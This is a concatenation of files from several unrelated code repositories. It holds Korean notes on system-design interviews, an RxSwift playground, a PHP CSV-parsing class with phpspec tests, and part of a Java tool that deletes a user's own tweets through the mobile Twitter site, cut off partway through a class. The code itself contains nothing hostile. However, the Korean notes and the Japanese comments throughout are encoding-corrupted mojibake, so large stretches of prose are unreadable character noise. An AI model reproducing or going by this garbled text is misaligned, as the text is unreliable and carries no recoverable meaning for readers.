- ํซ์คํ ํค๋ฌธ์ ๋ฅผ ์ค์ธ๋ค. ํน์ ํ ์ค๋์ ๋ํ ์ ๊ทผ์ด ์ง๋ํฐ๊ฒ ๋น๋ฒํ๋ฉด ์๋ฒ ๊ณผ๋ถํ๊ฐ ์๊ธธ ์ ์๋ค. ์์ ํด์๋ ๋ฐ์ดํฐ๋ฅผ ์ข ๋ ๊ท ๋ฑํ๊ฒ ๋ถ๋ฐฐํ๋ฏ๋ก ์ด๋ฐ ๋ฌธ์ ๊ฐ ์๊ธธ ๊ฐ๋ฅ์ฑ์ ์ค์ธ๋ค.
์์ ํด์๋ ์ค์ ๋ก ๋๋ฆฌ ์ฐ์ด๊ณ ์์ผ๋ฉฐ, ์ ๋ช
ํ ์ฌ๋ก๋ ์๋์ ๊ฐ๋ค.
- ์๋ง์กด ๋ค์ด๋๋ชจ DB์ ํํฐ์
๋ ๊ด๋ จ ์ปดํฌ๋ํธ
- ์ํ์น ์นด์ฐ๋๋ผ ํด๋ฌ์คํฐ์์์ ๋ฐ์ดํฐ ํํฐ์
๋
- ๋์ค์ฝ๋ ์ฑํ
์ฑ
- ์์นด๋ง์ด CDN
- ๋ฉ๊ทธ๋ํ ๋คํธ์ํฌ ๋ถํ ๋ถ์ฐ๊ธฐ
```
chap3.md
```# 3์ฅ ์์คํ
์ค๊ณ ๋ฉด์ ๊ณต๋ต๋ฒ
- ์์คํ
์ค๊ณ ๋ฉด์ ์ ๋นํฉ์ค๋ฌ์ธ ๋๊ฐ ๋ง๋ค.
- eg) "๋๋ฆฌ ์๋ ค์ง ์ ํ X๋ฅผ ์ค๊ณํด๋ณด์ธ์"
- ๋ชจํธํ๊ณ , ๋ฒ์๋ ์ง๋์น๊ฒ ๋๋ค.
- ์ด๋ฐ ์์คํ
์ ํ ์ฌ๋์ด ์ค๊ณํ ์ ์์ผ๋ฆฌ๋ผ ๊ธฐ๋ํ์ง ์๋๋ค.
- ์์คํ
์ค๊ณ ๋ฉด์ ์
- ๋ชจํธํ ๋ฌธ์ ๋ฅผ ํ๊ธฐ ์ํด ํ๋ ฅํ์ฌ ๊ทธ ํด๊ฒฐ์ฑ
์ ์ฐพ์๋ด๋ ๊ณผ์ ์ ๋ํ ์๋ฎฌ๋ ์ด์
์ด๋ค.
- ์ค๊ณ ๊ธฐ์ ์ ์์ฐํ๊ณ
- ์ค๊ณ ๊ณผ์ ์ ๋ด๋ฆฐ ๊ฒฐ์ ๋ค์ ๋ํ ๋ฐฉ์ด ๋ฅ๋ ฅ์ ๋ณด์ด๋ฉฐ
- ๋ฉด์ ๊ด์ ํผ๋๋ฐฑ์ ๊ฑด์ค์ ์ธ ๋ฐฉ์์ผ๋ก ์ฒ๋ฆฌํ ์์ง์ด ์์์ ๋ณด์ด๋ ์๋ฆฌ์ด๋ค.
- ๋ฉด์ ๊ด์ด ํ๊ฐํ๊ณ ์ ํ๋ ๊ฒ์?
- ๊ธฐ์ ์ ์ธก๋ฉด ๊ทธ ์ด์
- ํ๋ ฅ์ ์ ํฉํ์ง, ์๋ฐ๊ฐ์ ์ ๊ฒฌ๋๋ด๋์ง, ๋ชจํธํ ๋ฌธ์ ๋ฅผ ๊ฑด์ค์ ์ผ๋ก ํด๊ฒฐํ๋ ์ง, ์ข์ ์ง๋ฌธ์ ๋์ง ์ ์๋ ๋ฅ๋ ฅ์ด ์๋์ง ๋ฑ
- ๋ฉด์ ๊ด์ด ๋ฐ๊ฒฌํ๋ red flag
- ์ค๊ณ์ ์ง์ฐฉํ์ฌ tradeoff๋ฅผ ํ์ง ๋ชปํ๊ณ over engineering์ ํ๋ ๊ฒฝ์ฐ
- ์๊ณ ํจ, ํธํํจ ๋ฑ
## ํจ๊ณผ์ ๋ฉด์ ์ ์ํ 4๋จ๊ณ ์ ๊ทผ๋ฒ
### 1๋จ๊ณ ๋ฌธ์ ์ดํด ๋ฐ ์ค๊ณ ๋ฒ์ ํ์
- ๋ฌธ์ ์ ๋ํ ๋ต์ ๋ฐ๋ก ๋ด์ ์ข์ ์ ์๋ฅผ ๋ฐ๊ธฐ ์ด๋ ต๋ค. ์๊ตฌ์ฌํญ์ ์ ๋๋ก ์ดํดํ์ง ์๊ณ ๋ด๋๋ ๋ต์ red flag
- **์ฒ์ฒํ ์๊ฐํ๊ณ ์ง๋ฌธํ์ฌ ์๊ตฌ์ฌํญ๊ณผ ๊ฐ์ ์ ๋ถ๋ช
ํ ํ ๊ฒ**
- ์ฌ๋ฐ๋ฅธ ์ง๋ฌธ์ ํ๊ณ , ์ ์ ํ ๊ฐ์ ์ ํ๋ ๊ฒ ๊ทธ๋ฆฌ๊ณ ์์คํ
๊ตฌ์ถ์ ํ์ํ ์ ๋ณด๋ฅผ ๋ชจ์ผ๋ ๊ฒ์ด ์์ง๋์ด๊ฐ ๊ฐ์ ธ์ผํ ์์ง ์ค ํ๋
- ๋ฉด์ ๊ด์ด ์ง๋ฌธ์ ๋ต๋ณ์ ํ๊ฑฐ๋ ์ค์ค๋ก ๊ฐ์ ์ ํ๋๋ก ํ ์ ์๋ค. ์ด ์ ๋ณด๋ ์ ์ด๋๋๋ก ํ๋ค. ํ์ ํ์ํด์ง ์ ์๋ค.
- ์ด๋ค ์ง๋ฌธ์ ํด์ผํ ๊น?
- ๊ตฌ์ฒด์ ์ผ๋ก ์ด๋ค ๊ธฐ๋ฅ๋ค์ ๋ง๋ค์ด์ผ ํ๋?
- ์ ํ ์ฌ์ฉ์ ์๋ ์ผ๋ง๋ ๋๋?
- ํ์ฌ์ ๊ท๋ชจ๋ ์ผ๋ง๋ ๋นจ๋ฆฌ ์ปค์ง๋ฆฌ๋ผ ์์ํ๋? 3, 6, 12๊ฐ์ ๋ค์ ๊ท๋ชจ๋ ์ผ๋ง๋ ๋ ๊ฒ์ด๋ผ ์์ํ๋?
- ์ฃผ๋ก ์ฌ์ฉํ๋ ๊ธฐ์ ์คํ์ ๋ฌด์์ธ๊ฐ? ์ค๊ณ๋ฅผ ๋จ์ํ ํ๊ธฐ ์ํด ํ์ฉํ ์ ์๋ ๊ธฐ์กด ์๋น์ค์๋ ๋ฌด์์ด ์๋?
### 2๋จ๊ณ ๊ฐ๋ต์ ์ธ ์ค๊ณ์ ์ ์ ๋ฐ ๋์ ๊ตฌํ๊ธฐ
- ์ค๊ณ์์ ๋ํ ์ต์ด ์ฒญ์ฌ์ง์ ์ ์ํ๊ณ ์๊ฒฌ ๊ตฌํ๊ธฐ. ๋ฉด์ ๊ด์ ํ์์ฒ๋ผ ๋ํ์. ์ข์ ๋ฉด์ ๊ด์ ๋ํํ๊ณ ์ค๊ณ ๊ณผ์ ์ ๊ฐ์
ํ๋ ๊ฒ์ ์ข์ํ๋ค.
- ์ข
์ด์ ํต์ฌ ์ปดํฌ๋ํธ๋ฅผ ํฌํจํ๋ ๋ค์ด์ด๊ทธ๋จ์ ๊ทธ๋ ค๋ผ. ํด๋ผ์ด์ธํธ, API, ์น ์๋ฒ, ๋ฐ์ดํฐ ์ ์ฅ์, ์บ์, CDN, ๋ฉ์์ง ํ ๋ฑ์ด ํฌํจ๋ ์ ์๋ค.
- ์ต์ด ์ค๊ณ์์ด ์์คํ
๊ท๋ชจ์ ๊ด๊ณ๋ ์ ์ฝ์ฌํญ์ ๋ง์กฑํ๋์ง ๊ฐ๋ต์ ์ผ๋ก ๊ณ์ฐํ๋ค. ๊ณ์ฐ ๊ณผ์ ์ ์๋ฆฌ๋ด์ด ์ค๋ช
ํ๋ค. ์์ธ๋ฌ, ์ด๋ฐ ๊ฐ๋ต์ ์ถ์ ์ด ํ์ํ์ง๋ ๋ฉด์ ๊ด์๊ฒ ๋ฏธ๋ฆฌ ๋ฌผ์ด๋ณด์.
๊ฐ๋ฅํ๋ค๋ฉด ์์คํ
์ ๊ตฌ์ฒด์ ์ฌ์ฉ ์ฌ๋ก๋ ์ดํด๋ณด์. ๊ฐ๋ต์ ์ค๊ณ์์ ์ก๋๋ฐ ๋์์ด ๋๋ค. ๋ฏธ์ฒ ๊ณ ๋ คํ์ง ๋ชปํ edge-case๋ ๋ฐ๊ฒฌํ ์ ์๋ค.
"๊ตฌ๊ธ ๊ฒ์ ์์ง์ ์ค๊ณํ๋ผ"์ ๊ฐ์ ํฐ ๊ท๋ชจ์ ์ค๊ณ๋ผ๋ฉด API endpoint๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์คํค๋ง ๋ฑ์ ์คํตํด๋ ๋๋ค. ๋ฉํฐ ํ๋ ์ด์ด ํฌ์ปค ๊ฒ์์ ๋ฐฑ์๋๋ฅผ ์ค๊ณํ๋ผ๋ผ๋ ์ง๋ฌธ์ด๋ผ๋ฉด ์ค๊ณํด๋ ๊ด์ฐฎ๋ค. ๋ฉด์ ๊ด์๊ฒ ์๊ฒฌ์ ๋ฌผ์ด๋ณด์.
### 3๋จ๊ณ ์์ธ ์ค๊ณ
์ด ๋จ๊ณ์ ์๋ค๋ฉด ์๋ ๋ชฉํ๋ ๋ฌ์ฑํ ์ํ์ผ ๊ฒ์ด๋ค.
- ์์คํ
์์ ์ ๋ฐ์ ์ผ๋ก ๋ฌ์ฑํด์ผ ํ ๋ชฉํ์ ๊ธฐ๋ฅ ๋ฒ์ ํ์ธ
- ์ ์ฒด ์ค๊ณ์ ๊ฐ๋ต์ ์ฒญ์ฌ์ง ๋ง๋ จ
- ํด๋น ์ฒญ์ฌ์ง์ ๋ํ ๋ฉด์ ๊ด์ ์๊ฒฌ ์ฒญ์ทจ
- ์์ธ ์ค๊ณ์์ ์ง์คํด์ผ ํ ์์ญ๋ค ํ์ธ
์ด์ ํด์ผํ ์ผ์ ์ค๊ณ ๋์ ์ปดํฌ๋ํธ ์ฌ์ด์ ์ฐ์ ์์๋ฅผ ์ ํ๋ ๊ฒ์ด๋ค. ๋๋ก๋ ํนํ, ์ ์๊ธ ๊ฐ๋ฐ์ ๋ฉด์ ์ ๊ฒฝ์ฐ ์์คํ
์ ์ฑ๋ฅ ํน์ฑ์ ๋ํ ์ง๋ฌธ์ ๋์ง ๊ฒ ์ด๊ณ , ๊ทธ ๊ฒฝ์ฐ ์ง๋ฌธ ๋ด์ฉ์ ์์คํ
์ ๋ณ๋ชฉ ๊ตฌ๊ฐ์ด๋ ์์ ์๊ตฌ๋ ์ถ์ ์น์ ์ด์ ์ด ๋ง์ถฐ์ ธ ์์ ๊ฒ์ด๋ค. ๋๋ถ๋ถ์ ๊ฒฝ์ฐ ๋ฉด์ ๊ด์ ํน์ ์์คํ
์ปดํฌ๋ํธ์ ์ธ๋ถ ์ฌํญ์ ๊น์ด์๊ฒ ์ค๋ช
ํ๊ธฐ๋ฅผ ์ํ๋ค.
eg) ๋จ์ถ URL ์์ฑ๊ธฐ: ํด์ ํจ์์ ์ค๊ณ์ ๋ํด ์ค๋ช
ํด์ฃผ์ธ์
eg) ์ฑ๋ฉ ์์คํ
: ์ง์ฐ ์๊ฐ์ ์ค์ด๊ณ ์ฌ์ฉ์์ ์จ/์คํ๋ผ์ธ ๋ชจ๋๋ฅผ ์ ์ ์๋ ๋ฐฉ๋ฒ์ ์ค๋ช
ํด์ฃผ์ธ์.
์๊ฐ ๊ด๋ฆฌ๋ ์ ํด์ผ ํ๋ค. ์ฌ์ํ ๋ํ
์ผ์ ์ง์คํ๋ค ๋ฅ๋ ฅ์ ์ ๋ณด์ผ ๊ธฐํ๋ฅผ ๋์น ์ ์๋ค.
### 4๋จ๊ณ ๋ง๋ฌด๋ฆฌ
๋ฉด์ ๊ด์ด ์ถ๊ฐ์ง๋ฌธ์ ํ๊ฑฐ๋ ์ค์ค๋ก ์ถ๊ฐ ๋
ผ์๋ฅผ ํ ์ ์๋ค. ๋ค์ ์ง์นจ์ ํ์ฉํ๋๋ก ํ์
- ์์คํ
๋ณ๋ชฉ ๊ตฌ๊ฐ, ํน์ ์ข ๋ ๊ฐ์ ๊ฐ๋ฅํ ๋ถ๋ถ์ ์ฐพ์๋ด๋ผ ์ฃผ๋ฌธํ ์ ์๋ค.
- ์๋ฒฝํ๋ค๋ ๋๋ต์ X
- ์ค๊ณ๋ฅผ ๋ค์ ํ ๋ฒ ์์ฝํด์ค๋ค.
- ์ด์ ์ด์๋ฅผ ๋
ผ์ํ๋ค.
- ๋ชจ๋ํฐ๋ง ๋ฉํธ๋ฆญ ์์ง, ๋ก๊ทธ, ๋ฐฐํฌ ๋ฑ
- ๋ฏธ๋์ ๊ท๋ชจ ํ์ฅ์ ๋ํ ๋
ผ์
- ์ธ๋ถ ๊ฐ์ ์ฌํญ ๋
ผ์
#### ํด์ผ ํ ๊ฒ
- ๏ปฟ๏ปฟ์ง๋ฌธ์ ํตํด ํ์ธํ๋ผ(clarification). ์ค์ค๋ก ๋ด๋ฆฐ ๊ฐ์ ์ด ์ณ๋ค ๋ฏฟ๊ณ ์งํํ์ง ๋ง๋ผ.
- ๏ปฟ๏ปฟ๋ฌธ์ ์ ์๊ตฌ์ฌํญ์ ์ดํดํ๋ผ.
- ๏ปฟ๏ปฟ์ ๋ต์ด๋ ์ต์ ์ ๋ต์ ๊ฐ์ ๊ฒ์ ์๋ค๋ ์ ์ ๋ช
์ฌํ๋ผ. ์คํํธ์
์ ์ํ ์ค๊ณ์๊ณผ ์๋ฐฑ๋ง ์ฌ์ฉ์๋ฅผ ์ง์ํด์ผ ํ๋ ์ค๊ฒฌ ๊ธฐ์
์ ์ํ ์ค๊ณ์์ด ๊ฐ์ ๋ฆฌ ์๋ค. ์๊ตฌ์ฌํญ์ ์ ํํ๊ฒ ์ดํดํ๋์ง ๋ค์ ํ์ธํ๋ผ.
- ๏ปฟ๏ปฟ๋ฉด์ ๊ด์ด ์ฌ๋ฌ๋ถ์ ์ฌ๊ณ ํ๋ฆ์ ์ดํดํ ์ ์๋๋ก ํ๋ผ. ๋ฉด์ ๊ด๊ณผ ์ํต ํ๋ผ.
- ๏ปฟ๏ปฟ๊ฐ๋ฅํ๋ค๋ฉด ์ฌ๋ฌ ํด๋ฒ์ ํจ๊ป ์ ์ํ๋ผ.
- ๏ปฟ๏ปฟ๊ฐ๋ต์ ์ค๊ณ์ ๋ฉด์ ๊ด์ด ๋์ํ๋ฉด, ๊ฐ ์ปดํฌ๋ํธ์ ์ธ๋ถ์ฌํญ์ ์ค๋ช
ํ๊ธฐ ์ ์ํ๋ผ. ๊ฐ์ฅ ์ค์ํ ์ปดํฌ๋ํธ๋ถํฐ ์งํํ๋ผ.
- ๋ฉด์ ๊ด์ ์์ด๋์ด๋ฅผ ๋์ด๋ด๋ผ. ์ข์ ๋ฉด์ ๊ด์ ํ์ ์ฒ๋ผ ํ๋ ฅํ๋ค.
- ํฌ๊ธฐํ์ง ๋ง๋ผ
#### ํ์ง ๋ง์์ผ ํ ๊ฒ
- ๏ปฟ๏ปฟ์ ํ์ ์ธ ๋ฉด์ ๋ฌธ์ ๋ค์๋ ๋๋นํ์ง ์์ ์ํ์์ ๋ฉด์ ์ฅ์ ๊ฐ์ง ๋ง๋ผ.
- ๏ปฟ๏ปฟ์๊ตฌ์ฌํญ์ด๋ ๊ฐ์ ๋ค์ ๋ถ๋ช
ํ ํ์ง ์์ ์ํ์์ ์ค๊ณ๋ฅผ ์ ์ํ์ง ๋ง๋ผ.
- ๏ปฟ๏ปฟ์ฒ์๋ถํฐ ํน์ ์ปดํฌ๋ํธ์ ์ธ๋ถ์ฌํญ์ ๋๋ฌด ๊น์ด ์ค๋ช
ํ์ง ๋ง๋ผ. ๊ฐ๋ต์ ์ค ๊ณ๋ฅผ ๋ง์น ๋ค์ ์ธ๋ถ์ฌํญ์ผ๋ก ๋์๊ฐ๋ผ.
- ๏ปฟ๏ปฟ์งํ ์ค์ ๋งํ๋ค๋ฉด, ํํธ๋ฅผ ์ฒญํ๊ธฐ๋ฅผ ์ฃผ์ ํ์ง ๋ง๋ผ.
- ๏ปฟ๏ปฟ๋ค์ ๋งํ์ง๋ง, ์ํต์ ์ฃผ์ ํ์ง ๋ง๋ผ. ์นจ๋ฌต ์์ ์ค๊ณ๋ฅผ ์งํํ์ง ๋ง๋ผ.
- ๏ปฟ๏ปฟ์ค๊ณ์์ ๋ด๋๋ ์๊ฐ ๋ฉด์ ์ด ๋๋๋ค๊ณ ์๊ฐํ์ง ๋ง๋ผ. ๋ฉด์ ๊ด์ด ๋๋ฌ๋ค๊ณ ๋งํ๊ธฐ ์ ๊น์ง๋ ๋๋ ๊ฒ์ด ์๋๋ค. ์๊ฒฌ์ ์ผ์ฐ, ๊ทธ๋ฆฌ๊ณ ์์ฃผ ๊ตฌํ๋ผ.
#### ์๊ฐ ๋ฐฐ๋ถ
1๋จ๊ณ- ๋ฌธ์ ์ดํด ๋ฐ ์ค๊ณ ๋ฒ์ ํ์ : 3~10๋ถ
2๋จ๊ณ - ๊ฐ๋ต์ ์ค๊ณ์ ์ ์ ๋ฐ ๋์ ๊ตฌํ๊ธฐ : 10 ~ 15๋ถ
3๋จ๊ณ - ์์ธ ์ค๊ณ : 10 ~ 25๋ถ
4๋จ๊ณ - ๋ง๋ฌด๋ฆฌ : 3~ 5๋ถ```
|
yuki-325/HelloRxSwift
|
yuki-325/HelloRxSwift
Contents.swift
```import UIKit
import RxSwift
//MARK: - observar
let observable = Observable.just(1)
// subscribeใงeventใprint
//next(1)
//next(2)
//next(3)
//completed
let observable2 = Observable.of(1, 2, 3)
// subscribeใงeventใprint
//next([1, 2, 3])
//completed
// ้
ๅๅ
จไฝใงใชใใถใผใใใซใไฝๆใใฆใใ
let observable3 = Observable.of([1, 2, 3])
// subscribeใงeventใprint
//next(1)
//next(2)
//next(3)
//next(4)
//next(5)
//completed
// ้
ๅใฎไธญใฎๅใ
ใฎ่ฆ็ด ใใจใซใชใใถใผใใใซใไฝๆใใฆใใ
let observable4 = Observable.from([1, 2, 3, 4, 5])
//MARK: - subscription
observable4.subscribe { event in
// ่ฆ็ด ๅคใฎใฟใๅบๅ
if let element = event.element {
print(element)
}
}
observable3.subscribe { event in
if let element = event.element {
print(element)
}
}
// ใใใใใจไธใ
elementใซๅคใใชใใฆใใใใชใ
observable4.subscribe(onNext: { element in
print(element)
})
```
Contents.swift
```import UIKit
import RxSwift
let disposeBag = DisposeBag()
//MARK: - PublishSubject
let subject = PublishSubject<String>()
subject.onNext("Issue 1") //ใใใฏๅบๅใใใชใ
subject.subscribe { event in
print(event)
}
subject.onNext("Issue 2")
subject.onNext("Issue 3")
//subject.dispose()
subject.onCompleted()
subject.onNext("Issue 4") //ใใใฏๅบๅใใใชใ
//MARK: - BehaviorSubject
let subject2 = BehaviorSubject(value: "Initial Value")
subject2.onNext("last") //ใใใใใใจใงInitial Valueใๅบๅใใใชใใชใ
subject2.subscribe { event in
print(event)
}
subject2.onNext("A")
//MARK: - ReplaySubject
//bufferSizeใงๆๅพใฎ2ใคใฎใคใใณใใๆๅฎ
let subject3 = ReplaySubject<String>.create(bufferSize: 2)
subject3.onNext("1")
subject3.onNext("2")
subject3.onNext("3")
subject3.subscribe {
print($0)
}
subject3.onNext("4")
subject3.onNext("5")
subject3.onNext("6")
print("[ReplaySubject 2]")
subject3.subscribe {
print($0)
}
```
Contents.swift
```import UIKit
import RxSwift
//MARK: - subscriptionใฎ็ ดๆฃ
let disposeBag = DisposeBag()
Observable.of("A", "B", "C")
.subscribe {
print($0)
}.disposed(by: disposeBag)
Observable<String>.create { observar in
observar.onNext("A")
observar.onCompleted()
observar.onNext("?") //onCompletedใใๅพใฏonNextใงใใชใ
return Disposables.create()
}.subscribe(onNext: { print($0) }, onError: { print($0) }, onCompleted: { print("Completed") }, onDisposed: { print("Disposed") })
```
|
yuki-nguyen/Parsing-CSV-File-to-Table
|
yuki-nguyen/Parsing-CSV-File-to-Table
ParseData.php
```<?php
class ParseData
{
private $headers = ['last', 'first', 'salary'];
private $data = array();
/**
* @return array
*/
public function getData()
{
return $this->data;
}
/**
* @param array $data
*/
public function setData($data)
{
$this->data = $data;
}
/**
* @return array
*/
public function getHeaders()
{
return $this->headers;
}
/**
* @param array $headers
*/
public function setHeaders($headers)
{
$this->headers = $headers;
}
public function readFile($string)
{
try{
$txt_file = file_get_contents($string);
foreach (explode("\n", $txt_file) as $line) {
$row = explode(',', $line);
$this->data[] = array(
$this->headers[0] => $row[0],
$this->headers[1] => $row[1],
$this->headers[2] => (float)$row[2]
);
};
}
catch (Exception $e){
echo 'Message: ' .$e->getMessage();
throw new Exception();
}
}
public function getMaxSizeColumn($columnName)
{
$maxColumnLen = 0;
for ($i = 0; $i < count($this->data); $i++){
$lastLen = strlen($this->data[$i][$columnName]);
if($lastLen > $maxColumnLen) $maxColumnLen = $lastLen;
}
$bonusSpaces = 2;
return $maxColumnLen + $bonusSpaces;
}
private function getMaxSizeColumns(){
$maxSizeOfColumns = [];
foreach ($this->headers as $column) {
$maxSizeOfColumns[] = $this->getMaxSizeColumn($column);
}
return $maxSizeOfColumns;
}
public function sortBySalary(){
$countData = count($this->data);
for($i = 0; $i < $countData - 1; $i++){
for($j = $i + 1; $j < $countData; $j++){
if($this->data[$i]['salary'] < $this->data[$j]['salary']){
$temp = $this->data[$i];
$this->data[$i] = $this->data[$j];
$this->data[$j] = $temp;
}
}
}
}
public function printData(){
$cotent = $this->formatDataAsTable();
echo($cotent);
}
public function data($argument1)
{
// TODO: write logic here
}
/**
* @return string
*/
private function money_format($format, $number)
{
$regex = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
'(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
if (setlocale(LC_MONETARY, 0) == 'C') {
setlocale(LC_MONETARY, '');
}
$locale = localeconv();
preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
foreach ($matches as $fmatch) {
$value = floatval($number);
$flags = array(
'fillchar' => preg_match('/\=(.)/', $fmatch[1], $match) ?
$match[1] : ' ',
'nogroup' => preg_match('/\^/', $fmatch[1]) > 0,
'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
$match[0] : '+',
'nosimbol' => preg_match('/\!/', $fmatch[1]) > 0,
'isleft' => preg_match('/\-/', $fmatch[1]) > 0
);
$width = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
$left = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
$right = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
$conversion = $fmatch[5];
$positive = true;
if ($value < 0) {
$positive = false;
$value *= -1;
}
$letter = $positive ? 'p' : 'n';
$prefix = $suffix = $cprefix = $csuffix = $signal = '';
$signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
switch (true) {
case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
$prefix = $signal;
break;
case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
$suffix = $signal;
break;
case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
$cprefix = $signal;
break;
case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
$csuffix = $signal;
break;
case $flags['usesignal'] == '(':
case $locale["{$letter}_sign_posn"] == 0:
$prefix = '(';
$suffix = ')';
break;
}
if (!$flags['nosimbol']) {
$currency = $cprefix .
($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
$csuffix;
} else {
$currency = '';
}
$space = $locale["{$letter}_sep_by_space"] ? ' ' : '';
$value = number_format($value, $right, $locale['mon_decimal_point'],
$flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
$value = @explode($locale['mon_decimal_point'], $value);
$n = strlen($prefix) + strlen($currency) + strlen($value[0]);
if ($left > 0 && $left > $n) {
$value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
}
$value = implode($locale['mon_decimal_point'], $value);
if ($width > 0) {
$value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
STR_PAD_RIGHT : STR_PAD_LEFT);
}
$format = str_replace($fmatch[0], $value, $format);
}
return $locale['currency_symbol'].$format;
}
public function moneyFormat(){
setlocale(LC_MONETARY, 'en_US');
$countData = count($this->data);
for($i = 0; $i < $countData; $i++){
$this->data[$i]['salary']= $this-> money_format('%i',$this->data[$i]['salary']);
}
}
public function formatDataAsTable()
{
$size = $this->getMaxSizeColumns();
$cotent = '';
$cotent .= 'Last' . str_repeat(' ', $size[0] - strlen($this->headers[0])) .
'First' . str_repeat(' ', $size[1] - strlen($this->headers[1])) .
'Salary' . str_repeat(' ', $size[2] - strlen($this->headers[2])) .
"\n";
$cotent .= str_repeat('-', array_sum($size)) .
"\n";
$countData = count($this->data);
for ($i = 0; $i < $countData; $i++) {
$cotent .= $this->data[$i]['last'] . str_repeat(' ', max(0,$size[0] - strlen($this->data[$i]['last']))) .
$this->data[$i]['first'] . str_repeat(' ', $size[1] - strlen($this->data[$i]['first'])) .
$this->data[$i]['salary'] . str_repeat(' ', $size[2] - strlen($this->data[$i]['salary'])) . "\n";
}
return $cotent;
}
}
```
ParseDataSpec.php
```<?php
namespace spec;
use ParseData;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;
class ParseDataSpec extends ObjectBehavior
{
function it_takes_exception_with_invalid_file()
{
$this->shouldThrow('Exception')->duringReadFile("sssss");
}
function it_is_initializable()
{
$this->shouldHaveType(ParseData::class);
}
function it_return_array_10_10_7_for_max_length()
{
$this->setData( [['last'=>"Zarnecki",'first'=>'Geoffrey','salary'=>'56500']]);
$size = array(10,10,7);
$this->getMaxSizeColumns()->shouldReturn($size);
}
}
```
main.php
```<?php
require_once ('ParseData.php');
/**
* Created by PhpStorm.
* User: toanlamt
* Date: 7/26/2018
* Time: 11:39 AM
*/
$parsedata = new ParseData();
$filename="data.txt";
$parsedata->readFile($filename);
$parsedata->sortBySalary();
$parsedata->moneyFormat();
$parsedata->printData();```
|
yukihane/remove-tweets-all
|
yukihane/remove-tweets-all
Urls.java
```package jp.himeji_cs;
import lombok.AccessLevel;
import lombok.NoArgsConstructor;
@NoArgsConstructor(access = AccessLevel.PRIVATE)
public final class Urls {
public static final String PREFIX = "https://mobile.twitter.com";
/**
* ใญใฐใคใณใใ้ใฎในใฟใผใใใผใธใ
* {@code _mb_tk}ใฏใใญใผใๅๅพใใใใฎใงๆๅใซใขใฏใปในใใพใใ
*/
public static final String TOP = PREFIX + "/login";
/**
* ID, passwordใPOSTใใURLใ
*/
public static final String LOGIN_POST = PREFIX + "/sessions";
public static final String DELETE_TMPLATE = "https://mobile.twitter.com/statuses/{id}/delete";
}
```
TargetNotFoundException.java
```package jp.himeji_cs.exception;
import lombok.NoArgsConstructor;
/**
* ๆไฝ(ๅ้ค)ๅฏพ่ฑกใฎใใคใผใใๅญๅจใใชใๅ ดๅใฎไพๅคใ
*/
@NoArgsConstructor
public class TargetNotFoundException extends RuntimeException {
private static final long serialVersionUID = -9075973044880216123L;
public TargetNotFoundException(final String message) {
super(message);
}
}
```
App.java
```package jp.himeji_cs;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import jp.himeji_cs.exception.TargetNotFoundException;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.apache.hc.core5.http.ParseException;
import picocli.CommandLine;
import picocli.CommandLine.Option;
@Slf4j
public class App {
@Data
static class Opt {
@Option(names = "-u", description = "username or email for login", required = true)
private String username;
@Option(names = "-p", description = "password for login", required = true)
private String password;
@Option(names = "-f", description = "Twitter archive file(.zip)")
private String archiveFile;
@Option(names = "--dry-run", description = "true, if not delete actually")
private boolean dryRun;
}
public static void main(final String[] args) throws IOException, ParseException {
log.trace("Called: main");
log.debug("debug");
try {
exec(args);
} catch (final Exception e) {
log.debug("exception", e);
throw e;
}
}
private static void exec(final String[] args) throws IOException {
final Opt opt = new Opt();
new CommandLine(opt).parseArgs(args);
final TwitterArchive ar = new TwitterArchive();
final List<String> targets;
final Optional<List<String>> stored = ar.readStore();
if (!stored.isEmpty()) {
targets = stored.get();
} else {
final String file = opt.getArchiveFile();
if (file == null) {
System.err.println("-f [archiveFile] option required");
return;
}
targets = ar.getIds(opt.getArchiveFile());
}
final TwitterService tw = new TwitterService();
tw.init();
tw.login(opt.getUsername(), opt.getPassword());
if (opt.isDryRun()) {
log.info("Successful dry-run. See log for delete target IDs.");
log.debug("DELETE TARGETS:");
log.debug("total: {}", targets.size());
targets.forEach(id -> {
log.debug(id);
});
return;
}
final List<String> remains = new ArrayList<>(targets);
log.info("remained size: {}", remains.size());
try {
targets.forEach(id -> {
try {
tw.deleteTweet(id);
remains.remove(id);
} catch (ParseException | IOException e) {
remains.remove(id);
log.error("Delete error, ID: {}, message: {}", id, e.getMessage());
log.debug("", e);
} catch (final TargetNotFoundException e) {
remains.remove(id);
log.error("Delete error(not found), ID: {}", id);
log.debug("", e);
}
});
} finally {
ar.store(remains);
log.info("remained size: {}", remains.size());
}
log.info("Finish deleting");
}
}
```
TwitterArchive.java
```package jp.himeji_cs;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.List;
import java.util.Optional;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import lombok.extern.slf4j.Slf4j;
/**
*
* @see <a href=
* "https://help.twitter.com/ja/managing-your-account/how-to-download-your-twitter-archive">
* ๅ
จใใคใผใๅฑฅๆญดใใใฆใณใญใผใใใฆ่ฆใๆนๆณ</a>
* @see <a href=
* "https://help.twitter.com/en/managing-your-account/how-to-download-your-twitter-archive">
* How to download your Twitter archive</a>
*/
@Slf4j
public class TwitterArchive {
